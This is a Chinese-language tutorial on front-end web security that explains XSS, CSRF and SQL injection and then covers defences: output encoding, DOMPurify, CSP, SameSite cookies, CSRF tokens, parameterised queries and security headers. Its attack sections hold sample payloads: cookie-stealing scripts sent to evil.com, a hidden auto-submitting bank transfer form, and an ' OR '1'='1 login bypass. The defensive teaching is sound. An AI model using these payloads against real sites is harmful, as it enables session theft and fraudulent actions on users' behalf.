Web 安全(XSS/CSRF/SQL注入)
大约 11 分钟约 3436 字
Web 安全(XSS/CSRF/SQL注入)
简介
Web 安全是前端开发者必须了解的知识。XSS(跨站脚本)、CSRF(跨站请求伪造)和 SQL 注入是最常见的 Web 攻击方式。理解攻击原理和防御手段是构建安全应用的基础。
安全的核心原则:
- 永远不信任用户输入:所有来自用户的数据(URL 参数、表单输入、Cookie、HTTP 头)都不可信
- 后端验证是最终防线:前端验证只是用户体验优化,后端必须重新验证所有输入
- 最小权限原则:只给用户和组件必要的最小权限
- 纵深防御:多层安全措施,任何一层被突破时其他层仍能提供保护
特点
XSS(跨站脚本)
攻击原理
攻击者在页面中注入恶意脚本:
反射型:URL 参数包含脚本
https://example.com/search?q=<script>alert(document.cookie)</script>
存储型:恶意脚本存储在数据库中
评论内容: <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
DOM 型:前端代码直接使用用户输入
document.getElementById('output').innerHTML = userInput;XSS 的三种类型
1. 存储型 XSS(最危险)
- 恶意脚本被存储在服务器(数据库、日志)
- 所有访问该页面的用户都会执行恶意脚本
- 常见场景:评论区、个人资料、留言板
- 示例:在评论区写入 <script>document.location='https://evil.com?c='+document.cookie</script>
2. 反射型 XSS
- 恶意脚本通过 URL 参数传递
- 需要用户点击特定链接才触发
- 常见场景:搜索结果页、错误消息
- 示例:https://example.com/search?q=<script>fetch('evil.com?c='+document.cookie)</script>
3. DOM 型 XSS
- 恶意脚本在前端 JavaScript 中直接执行
- 不经过服务器,完全在前端发生
- 常见场景:使用 innerHTML、document.write 等
- 示例:element.innerHTML = location.hash.slice(1)防御措施
// 1. 输出编码(不使用 innerHTML)
// ❌ 危险
element.innerHTML = userInput
// ✅ 安全
element.textContent = userInput
// 2. Vue/React 默认转义
// Vue: {{ }} 自动转义,v-html 需谨慎
// React: JSX {} 自动转义,dangerouslySetInnerHTML 需谨慎
// 3. HTML 编码函数
function escapeHtml(str: string): string {
const div = document.createElement('div')
div.textContent = str
return div.innerHTML
}
// 4. URL 清理
function sanitizeUrl(url: string): string {
const allowed = ['http:', 'https:', 'mailto:']
try {
const parsed = new URL(url)
if (allowed.includes(parsed.protocol)) return url
} catch {}
return 'about:blank'
}
// 5. DOMPurify(HTML 消毒)
// npm install dompurify
import DOMPurify from 'dompurify'
const dirty = '<script>alert("xss")</script><p>安全内容</p>'
const clean = DOMPurify.sanitize(dirty)
// 输出: <p>安全内容</p>
// Vue 中安全使用 v-html
const safeHtml = DOMPurify.sanitize(userContent)CSP(内容安全策略)
// 服务端设置 CSP 头
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self' https://cdn.example.com; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"connect-src 'self' https://api.example.com; " +
"frame-ancestors 'none'; " +
"base-uri 'self'"
)
next()
})CSP 指令详解
Content-Security-Policy 指令:
default-src 'self' — 默认资源只从同源加载
script-src 'self' cdn — 脚本只从同源和指定 CDN 加载
style-src 'self' inline — 样式只从同源加载(允许内联)
img-src 'self' data: https: — 图片允许同源、data URI 和 HTTPS
font-src 'self' cdn — 字体来源
connect-src 'self' api — AJAX/WebSocket 连接目标
frame-src 'none' — 不允许嵌入 iframe
frame-ancestors 'none' — 不允许被其他页面嵌入
base-uri 'self' — 限制 <base> 标签
form-action 'self' — 限制表单提交目标
upgrade-insecure-requests — 自动将 HTTP 升级为 HTTPS
报告模式(先观察不拦截):
Content-Security-Policy-Report-Only:
default-src 'self';
report-uri /csp-violation-report
CSP nonce(允许特定内联脚本):
script-src 'nonce-abc123' 'self'
// 后端每次请求生成随机 nonce
// <script nonce="abc123">console.log('allowed')</script>
CSP hash(允许特定内容的内联脚本):
script-src 'sha256-xyz...' 'self'
// 适合不经常变化的内联脚本CSRF(跨站请求伪造)
攻击原理
用户已登录 bank.com,访问恶意网站:
恶意网站包含:
<img src="https://bank.com/transfer?to=hacker&amount=10000">
或自动提交表单:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="hacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>防御措施
// 1. CSRF Token(ASP.NET Core 内置)
// 前端自动处理(axios)
import axios from 'axios'
// 从 cookie 获取 CSRF token
function getCsrfToken(): string {
const match = document.cookie.match(/XSRF-TOKEN=([^;]+)/)
return match ? decodeURIComponent(match[1]) : ''
}
axios.interceptors.request.use(config => {
if (['post', 'put', 'delete'].includes(config.method || '')) {
config.headers['X-XSRF-TOKEN'] = getCsrfToken()
}
return config
})
// 2. SameSite Cookie
// ASP.NET Core 配置
builder.Services.Configure<CookieAuthenticationOptions>(
CookieAuthenticationDefaults.AuthenticationScheme, options =>
{
options.Cookie.SameSite = SameSiteMode.Strict
options.Cookie.SecurePolicy = CookieSecurePolicy.Always
options.Cookie.HttpOnly = true
})
// 3. 检查 Referer/Origin
app.use((req, res, next) => {
const origin = req.headers.origin || req.headers.referer
if (origin && !origin.startsWith('https://mysite.com')) {
return res.status(403).json({ error: 'Forbidden' })
}
next()
})
// 4. 双重 Cookie 验证
// 前端:将 Cookie 中的 token 放入请求头
const csrfToken = getCsrfToken()
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify(data)
})SameSite Cookie 详解
SameSite Cookie 的三个值:
Strict(最严格):
- 完全禁止跨站 Cookie
- 从外部站点点击链接不会携带 Cookie
- 适用于银行、支付等高安全场景
- 缺点:外部链接无法保持登录状态
Lax(推荐默认值):
- 允许安全的跨站请求携带 Cookie
- GET 请求(包括链接导航)可以携带
- POST 请求不携带
- 适用于大多数网站
- 注意:a 标签 target="_blank" 也不携带(除非加 rel="noopener")
None(不安全):
- 所有跨站请求都携带 Cookie
- 容易受到 CSRF 攻击
- 必须配合 Secure 标志(仅 HTTPS)
- 不推荐使用
推荐配置:
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/SQL 注入
攻击原理与防御
SQL 注入原理:
在用户输入中嵌入 SQL 语句,改变原始查询逻辑。
示例:
// 用户输入
username: admin' OR '1'='1
password: anything
// 拼接后的 SQL
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
// 结果:绕过密码验证,以 admin 身份登录
防御:参数化查询(Prepared Statement)// ❌ 危险:字符串拼接 SQL
const query = `SELECT * FROM users WHERE id = ${userId}`
db.query(query)
// ✅ 安全:参数化查询
const query = 'SELECT * FROM users WHERE id = $1'
db.query(query, [userId])
// ✅ 安全:ORM 自动参数化
// Prisma
const user = await prisma.user.findUnique({ where: { id: userId } })
// TypeORM
const user = await userRepository.findOne({ where: { id: userId } })
// 前端能做的:
// 1. 输入类型验证(ID 必须是数字)
function validateId(id: string): boolean {
return /^\d+$/.test(id)
}
// 2. 输入长度限制
function validateInput(input: string, maxLength: number): string {
return input.slice(0, maxLength)
}
// 3. 特殊字符过滤
function sanitizeInput(input: string): string {
return input.replace(/[<>'";&]/g, '')
}安全响应头
必备安全头
// 安全头中间件
app.use((req, res, next) => {
// 防止 MIME 嗅探
res.setHeader('X-Content-Type-Options', 'nosniff')
// 防止点击劫持
res.setHeader('X-Frame-Options', 'DENY')
// XSS 保护(旧浏览器)
res.setHeader('X-XSS-Protection', '1; mode=block')
// HTTPS 强制
res.setHeader('Strict-Transport-Security',
'max-age=31536000; includeSubDomains')
// Referrer 策略
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin')
// 权限策略
res.setHeader('Permissions-Policy',
'camera=(), microphone=(), geolocation=(self)')
next()
})安全头详解
X-Content-Type-Options: nosniff
- 防止浏览器猜测 MIME 类型
- 避免 .txt 文件被当作 .html 执行
X-Frame-Options: DENY / SAMEORIGIN
- DENY: 禁止页面被任何 iframe 嵌入
- SAMEORIGIN: 只允许同源 iframe 嵌入
- 防御点击劫持攻击(Clickjacking)
Strict-Transport-Security (HSTS)
- max-age=31536000: 1 年内强制 HTTPS
- includeSubDomains: 所有子域名也强制
- preload: 加入浏览器 HSTS 预加载列表
Referrer-Policy: strict-origin-when-cross-origin
- 控制请求头中 Referer 的发送策略
- 避免敏感 URL 泄露到第三方
Permissions-Policy
- 控制浏览器 API 的使用权限
- camera=(): 禁止摄像头
- geolocation=(self): 只允许同源使用定位前端安全实践
敏感数据处理
// 1. 不要在前端存储敏感信息
// ❌ 不要存密码
localStorage.setItem('password', '123456')
// ✅ 只存 token,设置过期时间
const token = response.data.token
const expires = new Date(Date.now() + 15 * 60 * 1000) // 15分钟
document.cookie = `token=${token}; expires=${expires}; path=/; secure; samesite=strict`
// 2. API 请求不暴露敏感信息
// ❌ 返回完整用户信息
{ id: 1, name: '张三', password: 'hashed...', ssn: '...' }
// ✅ 只返回必要字段
{ id: 1, name: '张三', email: 'z***@example.com' }
// 3. 使用 HttpOnly Cookie 存储 Token
// 后端设置
Response.Cookies.Append("auth-token", token, new CookieOptions
{
HttpOnly = true, // JS 无法读取
Secure = true, // 仅 HTTPS
SameSite = SameSiteMode.Strict,
Expires = DateTime.UtcNow.AddMinutes(15)
});Token 安全管理
// Token 最佳实践
const axiosInstance = axios.create({
baseURL: import.meta.env.VITE_API_BASE_URL,
timeout: 15000,
})
// 请求拦截器:添加 Token
axiosInstance.interceptors.request.use(config => {
const token = localStorage.getItem('access_token')
if (token) {
config.headers.Authorization = `Bearer ${token}`
}
return config
})
// 响应拦截器:处理 Token 过期
axiosInstance.interceptors.response.use(
response => response,
async error => {
const originalRequest = error.config
// 401 Token 过期,尝试刷新
if (error.response?.status === 401 && !originalRequest._retry) {
originalRequest._retry = true
try {
const refreshToken = localStorage.getItem('refresh_token')
const { data } = await axios.post('/api/auth/refresh', {
refresh_token: refreshToken,
})
localStorage.setItem('access_token', data.access_token)
originalRequest.headers.Authorization = `Bearer ${data.access_token}`
return axiosInstance(originalRequest)
} catch {
// 刷新失败,跳转登录
localStorage.removeItem('access_token')
localStorage.removeItem('refresh_token')
window.location.href = '/login'
}
}
return Promise.reject(error)
}
)CORS(跨域资源共享)
// CORS 安全配置
app.use((req, res, next) => {
const allowedOrigins = [
'https://www.example.com',
'https://admin.example.com',
]
const origin = req.headers.origin
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin) // 不要用 *
res.setHeader('Access-Control-Allow-Credentials', 'true')
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE')
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization')
res.setHeader('Access-Control-Max-Age', '86400') // 预检缓存 24 小时
}
if (req.method === 'OPTIONS') {
return res.sendStatus(204)
}
next()
})依赖安全
# 定期检查依赖漏洞
npm audit # 检查已知漏洞
npm audit --fix # 自动修复
npm audit --production # 只检查生产依赖
# 使用 Snyk 做更全面的安全扫描
npx snyk test
# 查看 npm audit 报告
npm audit --json > audit-report.json
# 锁定依赖版本,防止供应链攻击
npm shrinkwrap # 生成 npm-shrinkwrap.jsonOWASP Top 10(2023)
| 排名 | 风险 | 前端关注点 |
|---|---|---|
| A01 | 权限控制失效 | 路由守卫、API 权限 |
| A02 | 加密失败 | HTTPS、敏感数据不暴露 |
| A03 | 注入 | XSS、输入验证 |
| A04 | 不安全设计 | 安全架构设计 |
| A05 | 安全配置错误 | 安全头、CORS |
| A06 | 过期组件 | 依赖更新 |
| A07 | 认证失败 | Token 管理、MFA |
| A08 | 数据完整性失败 | SRI、签名验证 |
| A09 | 日志不足 | 安全事件日志 |
| A10 | SSRF | 服务端 URL 验证 |
优点
缺点
总结
Web 安全三大威胁:XSS(输出编码 + CSP)、CSRF(Token + SameSite Cookie)、SQL 注入(参数化查询)。安全响应头:X-Content-Type-Options、X-Frame-Options、HSTS、CSP。Token 存储用 HttpOnly Cookie,避免 localStorage 存敏感信息。前端安全原则:永远不信任用户输入、所有验证在后端重新执行、最小权限原则、保持依赖更新。
前端安全检查清单:
- 所有用户输入是否做了转义/编码?
- 是否使用了 innerHTML/dangerouslySetInnerHTML/v-html?
- 是否设置了 CSP 安全响应头?
- API 请求是否携带 CSRF Token?
- Cookie 是否设置了 HttpOnly、Secure、SameSite?
- Token 存储是否安全(不用 localStorage 存敏感数据)?
- 是否定期运行 npm audit 检查依赖漏洞?
- 是否对所有 API 接口做了权限校验?
关键知识点
- 先判断主题更偏浏览器原理、框架机制、工程化还是性能优化。
- 前端问题很多看似是页面问题,实际源头在构建、缓存、状态流或接口协作。
- 真正成熟的前端方案一定同时考虑首屏、交互、可维护性和线上诊断。
- 安全类主题的关键不只在认证成功,而在于权限边界、证书信任链和审计链路是否完整。
项目落地视角
- 把组件边界、状态归属、网络层规范和错误处理先定下来。
- 上线前检查包体积、缓存命中、接口失败路径和关键交互降级策略。
- 如果主题和性能有关,最好用 DevTools、Lighthouse 或埋点验证。
- 明确令牌生命周期、刷新策略、作用域、Claims 和失败返回模型。
常见误区
- 只盯框架 API,不理解浏览器和运行时成本。
- 把状态、请求和 UI 更新混成一层,后期难维护。
- 线上问题出现时没有日志、埋点和性能基线可对照。
- 只验证登录成功,不验证权限收敛和令牌失效场景。
进阶路线
- 继续补齐 SSR、边缘渲染、设计系统和监控告警能力。
- 把主题和后端接口约定、CI/CD、缓存策略一起思考。
- 沉淀组件规范、页面模板和性能基线,减少团队差异。
- 继续深入零信任、细粒度授权、证书自动化和密钥轮换。
适用场景
- 当你准备把《Web 安全(XSS/CSRF/SQL注入)》真正落到项目里时,最适合先在一个独立模块或最小样例里验证关键路径。
- 适合中后台应用、门户站点、组件库和实时交互页面。
- 当需求涉及状态流、路由、网络缓存、SSR/CSR 或性能治理时,这类主题很关键。
落地建议
- 先定义组件边界和状态归属,再落地 UI 细节。
- 对核心页面做首屏、体积、缓存和错误路径检查。
- 把安全、兼容性和可访问性纳入默认交付标准。
排错清单
- 先用浏览器 DevTools 看请求、性能面板和控制台错误。
- 检查依赖版本、构建配置、环境变量和静态资源路径。
- 如果是线上问题,优先确认缓存、CDN 和构建产物是否一致。
复盘问题
- 如果把《Web 安全(XSS/CSRF/SQL注入)》放进你的当前项目,最先要验证的输入、输出和失败路径分别是什么?
- 《Web 安全(XSS/CSRF/SQL注入)》最容易在什么规模、什么边界条件下暴露问题?你会用什么指标或日志去确认?
- 相比默认实现或替代方案,采用《Web 安全(XSS/CSRF/SQL注入)》最大的收益和代价分别是什么?
